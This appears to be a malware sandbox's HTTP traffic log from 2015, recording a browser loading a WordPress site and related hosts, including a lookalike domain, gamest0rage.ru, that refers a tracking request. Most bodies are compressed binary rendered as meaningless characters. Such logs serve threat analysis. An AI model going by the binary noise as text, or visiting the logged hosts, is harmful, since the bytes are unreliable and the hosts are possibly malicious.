Content-Encoding: gzip

81b8..............y{.F./....".....E:.=...'..I&...I2....IH.DR.....o...4...s...............Z..v...v.o.....C.....O..g......?2._..VY./. q..*.S..[.......H...?{z.....*E>?.I.....<.{R..6.zz.\gw...=....n............e..G.....a.P.XL.N.%......U~...v......6.. ...,>./V.../.sz3%.`...w......C..{4.|Z.............b'.#..o.R9..L...fH....Wi..Sz....bF.TG........(..._..o..L\..<.}...a.......A.....yb)....c...tE..{N9....u|....../..z..`.;...\...../w..b#/...U...>..f..mo,........w...GhY....z....G.-.B......t...K...9?z.X...~...~..v.?. l...i.X..n..,.W....n...8.\..r...~...I..M.jeX.W.8..T.ULh$.|;.9k.........n..{.k... .>..^..H."..y.:..>..%.Vm.o.F.U.N...x.W.0.......'T.P...-s\.8.....A.h;.}.C..b.... ....g..3......-S...He/..X.$.....3...n7.L.1/p:....._e'Gi..ph.-.H.E8.;BC!md....O....-...=.#y..g.M.....>.......9.L....s9..o?.._..p4..K..E..J.9.v.k9.T6...z.h`......./L.f............7S.;??.F..|.................Y..r6.&.R9~f.)St....Z.a.. 5.t.P..U..7:}...O..4\..q.[&.A.c%C....Si.h^.u..i..........7.........?.A..*..Q...E..x?.o.y..A..o.q...W/.Kz^ ....8{.;......q.............z.lr.|.E..a...=5!.5.u8.T.#.Q.'uj....n,..U..J|G..-..".w....&.../....C...?_n..j..{..;.....s.......n).g..`.....p...u...W..j..T...>.~.....v......|..'.-P.u.......^....~B..'..j...._}Ch2hL...C...d.XA7-nr88Y..M.Z]Z.(.y^....D....h>.t.........[..x...xQ6J'Z..Jt..^h......U.-6{.V)#.PYg...Q..2_..h.Jl..ZxD.x....[.jY....~.*.@:..}&2....!c0../-.7.X.!!v9..2.{&....).....K8.^..\....W.k<..y.D J..A....c. ..er..........`.....{w)....X.wA..... Wj.,...&.Q|..M.=.........."C....1.../h....5..

<<< skipped >>>

GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:43:28 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78d70-1c20"

X-Powered-By: PleskLin

Content-Encoding: gzip

bfc.............Yms.6..~3..h6g.....{.He4n.4..iS......LB.m.P.P.k....@R.....LD..b........Qp....!8.3...6....4......h.O...~.,{.J.r. ..w2....@...A....ui.6...7..)...<.........r..?...".....`t|L..=.Q.(e.g..,.......h.u.c...F.b........n&.q?q-s..h].%ld..XGw0{||$...&.....p......_..p.{.u..'.......n[.8....)../...7".Q*...?h...>P..........N.#\n.g.......d...(.v...6.4Q..[f.o..v...n)....dI.}......_iu $....<..h.<~.N..5.....[.t..Be{....SY.........p....p...D..S?..r.1..|.....]..-..... .Zs....J......s...IXG.('.....|...v.|(s}k.\....J..._.r]....=..w1>...[..p...c..o$3..de..V.[.mxQ.fYg*..W.S...(.,.s2.GdlY...!..S....J.g...0?{....gC..k8....f*|Z.....A&U....H ..Ta*@..U...nZ-.4..*.ZW........OVZ.T....~...Z......D.H....~sL...C...eC...0P{..7:2.k- .D.../v...[....<..;u'. n .Y.[...._>...6]......^..D..=..!.......>Q..........A......XD.y.F2.....3..Rx$9....*.b~|...`).,..{....^s....`...'..%... ..'(.$P.H...A.t.q...{..k......Q.V.d~|..'&.Ej.]..KV.io]..)B.....9\.hTU...t.ex..Z.T..9.}.wf}..x..)...].......Nu.wc.......4...m... ..x.Sn..{]...3..F3.!p.q......jU#...@..m.l.3.S....d...`....j..N.p...!.=..!.4Q...UJ0).#.$..\.K..e..j .&.i_..,...BLN.......en...K..a...z..j.G....tz.5........h....`T...x.-.c.............._....?q...o.>..}...Hi.[W/2.d...;.en..a....^|..=`......9%_....~..^R.y.3...v_.C5.&..T.HC.......&.(Pn~(x.=....h...H.....[V.g0......J.......3KF........o/....A&X....k.k...'.k.v[.........V.../`IPp.`.c.y&.v.2..}..t. .sz.p...s<.N>. "...=2.N..........G~....l.f.T...ce..P....A.....Z..@R_..E...Q..a.b.....c.....u...H.w6.....$....|..VVPW].

<<< skipped >>>

GET /wp-content/plugins/generalstats/js/refresh.js?ver=3.20 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/javascript

Last-Modified: Sun, 23 Aug 2015 16:36:37 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d9f695-1630"

X-Powered-By: PleskLin

Content-Encoding: gzip

576.............Xmo.6..l...L..Rf;..'{..o..-.....B.%.b"..I.1V..._d..b i.a_..t<........^7.,.c%.f..;...Y.".^..]c.W...$..,....8.va...hAI.L.J...~a~.!..4N.Ly..s..u..I.er...".Y...o.J..%.....K9dxE....L.|...H*A.R.@%....vz..S...r.@.g.a.k.......@k./..I....P.(Vh.%U...-zM.....eT....dJ.@..by....!..............L.@..(n..Dl..fp....0a]M..u.u.....1..t.R....B.b2A..H>.z...(Xw.V.93;!..QD...EFX....^......^.9...k0....7...'z .VXAn.!.........?.W....Â....d..4...P......v.~.........>i4.I.t..Q.@o..c..@............on.F...'..#...7.V...n.Z..z.....'.!,)......wJ..'`U*.....#.....6iT}.U..v..] ...J.....d........K...D.....Lz;7;.,.....f'.X..-e.....>.?Y....w..<.!.*.i..H..u.!.!3.....`.....%v......,TF9K..nw.G..d....;M.Fp..*..f..7Z..Xei.pd-,..Xs...r....3...5..d....h..fu..B....v..s...b...H..l;.O.z................Y.~.>......A4.g....P[.<..@.^T.5(....E....L0.....}.h...lX....S_...U...".p...`D.=....$.EO.u.c..f...`ZM.........n....a.l.!..D..\S..}......?.n.C......OuR..`..m.~{0..:X......u9<C..mc?.)........U.... W.$.P{.o.q....v.T......p..%.....:........^....Z..[5..cy...s?..go.....Q,.......*4.M..QM..*u.}.e..<#E...,..xdpZ...o`;..'........=.......2..L...Sb...F..F..T.._.._s.C]......Jo.T._...h..X ..me....L.<g..".._...J....'..2.;...Vlp....[.....E7.tLm.... w!Pt.........1..O#..C....K@`....qR.....E.5N^.oi)....CH"..........3..|....w.y ....t.Yg.g.D.:.=[..s...q.I.fT.?t.j...h.o ..?.A..........}^..............3..9#~O9}........>..g..s..p..J...0.....0......

<<< skipped >>>

GET /wp-content/uploads/2015/09/a20aa272156d62a57edefdd48da62f48.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 18288

Last-Modified: Wed, 16 Sep 2015 14:55:30 GMT

Connection: keep-alive

ETag: "55f982e2-4770"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..V.'#.X6..9...a.2.>...{......-...nv./.|...V7.5..~r.....9f$..9..~.W..Q.FPpH..MWHK.t..3p.:..7).R.9....(...y..I e$.GL.OO..<H....'.{t.. .KK..=..Ck.6fB.g ...c..\.$.[l...z...* 4....B6'../..y....8.....^.d........k.-...1<..H.:~5.9A$w...TnFM.gP.SZ7..,[...T.3...>T.X...zU...m...n$=.p?*.q\..:.^N-S...P.".N....O..........f1...S...... .........s..z9..?.Q]..y.....wJ.v^G.-..3....`..G....Y.......I....?.#...$.@P...V.@...\....7X.r.....PX....@z.Z6zb.dSX..5nM.k.J.Eb=...k..T.....{.. .@...w.J......a..N......F8.:R.......>...A...K..H.4.......w.<?....!8..R..3e..eV*19YO...v..^.....K..\...q...-e.., .r"..........6&}b......'..H<.n L4.rs\4..).=...]......Q-.[.r&d.'.y=..>.oZ.u[=5....`...5..\.....mow.kf7..~Q.<.....@.NX.5wU_...._j.$.. tt..P}I5.g.....<.3...&..c..........*......<.V...iW....\6>e..=..'%...u#.N....}...T.0..zv...Q.z}.R.g7. r..z.

<<< skipped >>>

GET /wp-content/uploads/2015/08/dakota-fanning-dakota-fanning-6727.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 262258

Last-Modified: Sun, 23 Aug 2015 15:36:07 GMT

Connection: keep-alive

ETag: "55d9e867-40072"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.....H.H......GoodFon.ru...C....................................................................C.......................................................................8................................................W..........................!.1A."2Qa..Bq.R....#br.....3....$...CS....%4.c.5DTs&'6E.Uu.........................................................?... ...K.<.A......... ...~WAk-d........l7.{..T........j.w...TII#j !....8..F._P..{[nh1...-b...\.....cc..JI..l.{.&ge%.v.m.:y .S...w:..*c.h. )$......I...M.6Bmf;G ..Y..&....m4.tq..N...|...A...=u..l...m.ce.....j......6...J...y.....vn.u....i..1....,....3.......b..i..I$]..l....6.l..c.....k....(?.h..0.au..d...l{.....h.L...[Y$......lsl..9. .Q{[p.......Y.Sb4f.......b.0..6..^..6@.2...|...Pvl.....z8.rnf....=..pT..R....w...G..'6.9..,l!..B........................................................................................................................................

<<< skipped >>>

GET /wp-includes/js/hoverIntent.min.js?ver=r7 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:32:38 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78ae6-45c"

X-Powered-By: PleskLin

Content-Encoding: gzip

1d3.............SOo.0..*i....Z.4...m..;T..UUM.y.S.......g...u9..<...|...v.VD.^..b....Q9.....hHh..z..7~Zw...(....8..w._...m.x4.(.V.P....rF...Q2....AP.Kf..3...i.dp..L{.....'C...S..)=.8hM!......f*$;...!..^.x_..}.....^....]...F.d3..S..I...!._.o.!...-.:...2..d_.....-..p...o.....L....hxUo.r.....` .A7K..........{..Y.."..X$...cP.bP...Fw.t.n...U.y.r...ZZ..[./s...%@"\n.8Y.........R.....o.ba'.>;=-...^@..wS...p'...'.....K..C.#...8..f-......C<......EF r^N...7.x.@..G...%..7R...\.....0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: text/javascript..Last-Modified: Fri, 21 Aug 2015 20:32:38 GMT..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..ETag: W/"55d78ae6-45c"..X-Powered-By: PleskLin..Content-Encoding: gzip..1d3.............SOo.0..*i....Z.4...m..;T..UUM.y.S.......g...u9..<...|...v.VD.^..b....Q9.....hHh..z..7~Zw...(....8..w._...m.x4.(.V.P....rF...Q2....AP.Kf..3...i.dp..L{.....'C...S..)=.8hM!......f*$;...!..^.x_..}.....^....]...F.d3..S..I...!._.o.!...-.:...2..d_.....-..p...o.....L....hxUo.r.....` .A7K..........{..Y.."..X$...cP.bP...Fw.t.n...U.y.r...ZZ..[./s...%@"\n.8Y.........R.....o.ba'.>;=-...^@..wS...p'...'.....K..C.#...8..f-......C<......EF r^N...7.x.@..G...%..7R...\.....0......

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.js?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:31:15 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a93-3c97"

X-Powered-By: PleskLin

Content-Encoding: gzip

147d.............[ms.F..l..Y.VH.4.x.\..e..(...."i.r...$.$b....h...~Ow... %.......3=.=.O......W.9R....T..t...oy.V}...zqr....w./...{....O..B.?...1..W..z..Y4.........8...9.2...x....#..Lg..N....D..DM....$T.],.!..m.,.....S.E.>=>.n..*..u...gE~,.....h..\..7-].U..f..f..X.....xn.....M./......B.fmV...h.[...<'1.\-u...E.$..;j.i....-.l.;.HU...Zgy.`v:-.(!).5..4.X.P...-..p.$..Y.... ..G..A.E.k...F...u..(am.Oj...tS.L.$.Q..@...MH|..q...*D.u...M.9...Z.a4..5..2..4..eG....n....%k.C.....u...H."q.!.!....T[.e...e....U.7Y.E5..S..h`U2.zW5.Y........M.1....e.-O........r...|.@..v...Pu.....y.C....4.5..v...}5........`...n...........Q?.&.o.M.F.z.._....]...>..$i...v.....H........5......\.R/1..f...7...NnxICl... .y..]......p0......k.z..=..7.....{#..........1...zp}5.J.7..I. ............\..d.1..7o...^....7...h.*/....r... ...7x.Q..7.W}.w.:#.f8..u._a..5...&..k.....d.....M.....~G.F.1).jt..H..A.#..y..:....`.=...K~...!.......;....z(~...o..8.c......$..../.z.d./...S.. ...(^1<.....,..z.....X..9...p.Dv.x.-6n.v....^.;......dg............0B..;..<.uH.cY.4....U...3..E.L..Pc..8.ao...j...%1.,w9."..a.....(b.@../..r@0......E^.bm#P..#.. .W.:Fb<5....l....1...XC..cEL.....#..k. O......|........J..@..l.(.......z.l...L(.j.Y.H..h!..nX.x....0.....B...s....P'....:.I;....`..u....I..fGm.l..3.3.<.$..B..0iXjB....!.&f6m%.........?.....J.w.%&T.Yd.. -;w..H.@..m.H....w^............F.3...=.o.VA........F.b...)3.............@......|w<.x....\...8j._X..X; .......'.N.........*_.Y4.$....`....&. .!_.J.2...[..Cs..f.............?..."...ZQ.D ....".3iG.$:.W.6.]m....

<<< skipped >>>

GET /topick?uid_zxcv=258cc02055fa2da7a95b1963030c8402 HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sync.security.pp.regruhosting.ru

Connection: Keep-Alive

HTTP/1.1 204 No Content

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Connection: keep-alive

Set-Cookie: regruid=258cc02055fa2da7a95b1963030c8402; Max-Age=62899200; Domain=.security.pp.regruhosting.ru;

Set-Cookie: aureid=lPtRjVX6Law9Py94mJOUAg==; expires=Sat, 16-Sep-17 03:04:12 GMT; domain=.security.pp.regruhosting.ru; path=/

GET /img/t.gif HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: informers.sinoptik.ua

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Thu, 10 Feb 2011 13:06:12 GMT

Connection: keep-alive

ETag: "4d53e2c4-2b"

Expires: Fri, 16 Sep 2016 03:04:08 GMT

Cache-Control: max-age=31536000

Cache-Control: public

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:08 GMT..Content-Type: image/gif..Content-Length: 43..Last-Modified: Thu, 10 Feb 2011 13:06:12 GMT..Connection: keep-alive..ETag: "4d53e2c4-2b"..Expires: Fri, 16 Sep 2016 03:04:08 GMT..Cache-Control: max-age=31536000..Cache-Control: public..Accept-Ranges: bytes..GIF89a.............!.......,...........D..;..

GET /s/opensans/v13/cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE.eot HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Mon, 27 Apr 2015 23:46:39 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Tue, 15 Sep 2015 20:34:36 GMT

Expires: Wed, 14 Sep 2016 20:34:36 GMT

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

X-XSS-Protection: 1; mode=block

Content-Length: 17914

Age: 109771

Cache-Control: public, max-age=31536000

............eT.A....l`....NpwVVV......w..$.ww....A..r.y..........].{...U.R...$........CCCB..@.. ......./..-=..0.._#..@...#.......@.....8.]..0.[...H.......`.7s....4.&.............b..}.. .&.......f..<..$.L8h..Q.f.Z...m..<.h.lX.ih .ksW[?|.[....d....3KY...^-.C...U\j.-.j..s;i.6.$<e.n.......m.7t.~..D9..;.2...... .tO...}.'.H.o.gc.b...........[A=q;'...X.@vDc.....5.&.).n...;.....O.U1....=M.O&p....5...Y.k.I...Hw^...M...G.jci....I....q...nbC....c..-.PD.b)._.K......=8.L..@L.....m...GP.P.3..%...........I.....>....q...... )....9...:Z.0L7...".z". ......T..r.r.ty.M.2......>!.^$..=.P......g}g.B.-.?9t.."m.?.z.>.`....k.6.CE.J..)..\.LL..0&Y.a....7..k.....0H....M.......I........4!..&.`..E......i...p.....4. .....0..;......Y...................A...e...1......=f....6.'...].]i(&....d.bH.@..x.v8...%.r....A*...ry.........6aQ.<.....W.b.J.....}....{e..*<.........o.......[.A.s..B.....6....hZ.k{.q:.......)`...F.~. ..1.^ ..|.x.......ea..c...a.&..>.....R...2.pYkG.[.O.'j.C.\..].8.1`....'......X.....m_...)...bE}....pK.y3....'.......lp........./.B..M.....$...P.&6....KC.8....'....n|.eu.S..qG~...J.8.........!..~r...7.. A9u.!). .....4sPL....a..U....L..LW.m.........H..@.z.^.&.*.............S..WW...A"l....?..i..;.x.!...RY`......w......t.e..|0;.bx......s.....G.d..ot2N0_7}..1..w...J.........9......?|...X^....y>...q.i..tQs5L..F..>.tX.B.....4.l...^.Hl$...'..[.6@K..a)./,...,I.O@L.mb!.4'......D.IFYG...M..&!....8E:.C.S..L....=V.{u.......v{..S@q.......Oi}C2..9.e..P...m..<..~.G.s..AK......L#..<H%.%...e.....k.....=M-......x

<<< skipped >>>

GET /agcb.css HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: text/css

Last-Modified: Thu, 14 May 2015 23:56:28 GMT

Accept-Ranges: bytes

ETag: "52de097a18ed01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:02 GMT

Content-Length: 650

...*{ padding: 0; margin: 0}.banner{position: relative}a.ilogo, a.ilogo:visited{position:absolute;z-index:3;top:0;right:0;background: url(/img/ilogo3.png) no-repeat -63px 0;width: 22px;height: 14px;transition: width 0.3s ease; -moz-transition: width 0.3s ease;-webkit-transition: width 0.3s ease;-o-transition: width 0.3s ease;}a.ilogo:hover{ background-position: 0 0; width: 63px}html, body{ height:100%; }.error{ position: absolute;top:-1px;left: -1px; z-index: 999;width: 100%;height: 100%;background: #777;opacity: 0.5;}.message{ color: #fff;position: absolute;z-index: 2;top: 50%;margin-top:-25px;text-align: center;width: 100%;font-size: 18px;}HTTP/1.1 200 OK..Cache-Control: no-cache..Content-Type: text/css..Last-Modified: Thu, 14 May 2015 23:56:28 GMT..Accept-Ranges: bytes..ETag: "52de097a18ed01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Thu, 17 Sep 2015 03:04:02 GMT..Content-Length: 650.....*{ padding: 0; margin: 0}.banner{position: relative}a.ilogo, a.ilogo:visited{position:absolute;z-index:3;top:0;right:0;background: url(/img/ilogo3.png) no-repeat -63px 0;width: 22px;height: 14px;transition: width 0.3s ease; -moz-transition: width 0.3s ease;-webkit-transition: width 0.3s ease;-o-transition: width 0.3s ease;}a.ilogo:hover{ background-position: 0 0; width: 63px}html, body{ height:100%; }.error{ position: absolute;top:-1px;left: -1px; z-index: 999;width: 100%;height: 100%;background: #777;opacity: 0.5;}.message{ color: #fff;position: absolute;z-index: 2;top: 50%;margin-top:-25px;text-align: cent

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:05 GMT

Content-Length: 3675

<<< skipped >>>

GET /informers_js.php?title=4&wind=2&cities=100524901&lang=ru HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinoptik.com.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.12

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0

Pragma: no-store, no-cache, must-revalidate

Content-Encoding: gzip

Vary: Accept-Encoding

X-Server-By: sinfe1

254.............T.n.0.~.........XC4.1i..\..m....1u..vR.*.......ag.`.4..........Dy..i...V9H...b.\.[.Hp.Da........g...).h..Y.......u..g.....=.L....Hs.....e.."ww"....A.=l.'u:.4...`:..t}M..I...0...w..%Hv.q..V;L...............7.CA...$.*^vi.pG.O.&.p..6wQ..t...".l.....g&.'J...$....T.....>.... .l.I.X.....N9`..p..._.O...F........?.0........qc;@.X..U..q._{...`k,@.L..........=Ke%...k4.....?mu..@^6....m...%-....1.Dk.j..N<4z"...n.Z..>....l7=#.......*..l.l..Oa...iz.....mG..l.Z.q]..N.L.t...I.{...S49..1.....o._..........l|.....M.....?.W.....3mO...w[....6r....].@....Y.3k....Q...m/...V.....NmW....c..k..'.@w.......0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:08 GMT..Content-Type: application/json..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.5.12..Expires: 0..Cache-Control: must-revalidate, post-check=0, pre-check=0..Pragma: no-store, no-cache, must-revalidate..Content-Encoding: gzip..Vary: Accept-Encoding..X-Server-By: sinfe1..254.............T.n.0.~.........XC4.1i..\..m....1u..vR.*.......ag.`.4..........Dy..i...V9H...b.\.[.Hp.Da........g...).h..Y.......u..g.....=.L....Hs.....e.."ww"....A.=l.'u:.4...`:..t}M..I...0...w..%Hv.q..V;L...............7.CA...$.*^vi.pG.O.&.p..6wQ..t...".l.....g&.'J...$....T.....>.... .l.I.X.....N9`..p..._.O...F........?.0........qc;@.X..U..q._{...`k,@.L..........=Ke%...k4.....?mu..@^6....m...%-....1.Dk.j..N<4z"...n.Z..>....l7=#.......*..l.l..Oa...iz.....mG..l.Z.q]..N.L.t...I.{...S49..1.....o._..........l|.....M.....?.W.....3mO...w[....6r....

<<< skipped >>>

GET /i318/1508/5c/fa3c206624a1.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s011.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Wed, 05 Aug 2015 15:07:10 GMT

Accept-Ranges: bytes

ETag: "564f396790cfd01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=134a46122f06f7ea; expires=Mon, 16-Sep-2030 21:04:14 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:13 GMT

Connection: close

Content-Length: 32817

.PNG........IHDR.....................sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^.}....y.p........j. i.L...,.$...,0..l.v..q...6M.h.I.@Cm......m......8...w.J r.>.<.f......~....... ..3g....b..>..~.z|.k...g.......8.3 `8.-666.q..{?.1.......}.s..u.........7...rh`.T.vbb"RRR......tgKMMERR.....-..M........u.1......!V.Y.....3C.!.....~rr...........?.$.c.....q.:...........g..|.p.@H. -AZ...mm..f.......:..@.c.>..@..O.>..4...O....&..1v7...~/....c..u.9....Xxi.>1.^b...._..|.p....).}...mM.m......4.Z....8f.........'b..|..i`.i (0xI.b.n....m.@..k.9..C.69....$.?.......s...O.^4.....mM..1l@..#...Nj.......b..m....}....Y.....|..i`zh (0....DF[..7.5.;$..c...F`.~.n.1.$..cbb^....!......j2...1=../:..}.....I..6.....a.o..c.).>.1kmn'.....m.A....qd..k.w..dgg#77....(,,D^^......|g.=.\>P.e...........@P`0.....-$0...."L..}...u........~:........l.......r..7.===.....E..x.b,Y..K..}m.o......A..?.........:...8..n..OH.FH..........&.1...&...].a.......L......X.g..f...0...R...a...X.r...{{{......Z....b...9.b.......G{{;.....X.z..i.........&|.x......g..........#. SYL......;JI..h.z.(..#0.5k.c.....e.V.X..@VV.....s1g....e.>xm.G.i_i.:..L......-s.f......Dtt..m}.u...8=...G.........1y...L$M.v(.3..&.....Y.=22...%..]..MMM.~.%.............r...0t..|XX....lt..K.eff:.#`..ill....( s......=W....>-.......Ijb...`...... 